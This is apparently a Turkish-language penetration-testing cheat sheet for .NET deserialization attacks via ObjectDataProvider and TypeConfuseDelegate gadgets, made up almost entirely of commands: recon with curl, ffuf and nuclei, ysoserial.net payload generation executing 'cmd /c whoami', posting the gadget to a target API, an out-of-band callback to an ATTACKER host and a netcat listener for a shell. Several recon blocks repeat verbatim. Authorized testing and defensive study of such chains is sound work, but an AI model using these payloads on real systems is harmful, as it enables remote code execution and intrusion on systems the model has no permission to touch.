Skip to content

Basic .NET deserialization (ObjectDataProvider gadgets)

web deserialization

Basic .NET deserialization (ObjectDataProvider gadgets) güvenilmeyen serileştirilmiş veri veya prototype/class pollution üzerinden gadget zinciriyle RCE veya auth bypass arar.

Metodoloji

Section titled “Metodoloji”

  1. Serileştirilmiş girdiyi ve parser’ı tespit et.

  2. Kör OAST (DNS/URLDNS) ile doğrula.

  3. Uygun gadget / pollution zincirini kur.

  4. RCE veya auth bypass etkisini kanıtla.

Serileştirilmiş girdi bulma

Section titled “Serileştirilmiş girdi bulma”
Terminal window
curl -sk https://TARGET/ -b jar | rg -i 'rO0|aced0005|__VIEWSTATE|O:|pickle|yaml|ObjectInput|java\.'
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc all
cookie, hidden field, JWT claim, message queue, Redis cache

.NET gadgets

Section titled “.NET gadgets”
Terminal window
ysoserial.net -g ObjectDataProvider -f Json.Net -c 'cmd /c whoami' -o base64
Terminal window
ysoserial.net -g TypeConfuseDelegate -f BinaryFormatter -c 'calc'
Terminal window
curl -sk https://TARGET/api -H 'Content-Type: application/json' -d @gadget.json

Etki doğrulama

Section titled “Etki doğrulama”
Terminal window
curl http://ATTACKER/hit
Terminal window
nc -lvnp 443
DNS callback → class confirm → RCE gadget → shell

Operasyon notları

Section titled “Operasyon notları”

Basic .NET deserialization (ObjectDataProvider gadgets) sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Ek komutlar

Section titled “Ek komutlar”
Terminal window
curl -sk https://TARGET/robots.txt
Terminal window
nuclei -u https://TARGET -as -silent
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403
GET / HTTP/1.1
Host: TARGET
Accept: */*
Terminal window
mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Ek keşif komutları

Section titled “Ek keşif komutları”
Terminal window
curl -sk https://TARGET/robots.txt
Terminal window
curl -sk https://TARGET/sitemap.xml
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403
Terminal window
nuclei -u https://TARGET -as -silent
GET / HTTP/1.1
Host: TARGET
Accept: */*

Kanıt toplama

Section titled “Kanıt toplama”
Terminal window
mkdir -p evidence/web && tee evidence/web/notes.txt
request/response
zaman damgası
kullanılan hesap
etki özeti
Terminal window
curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html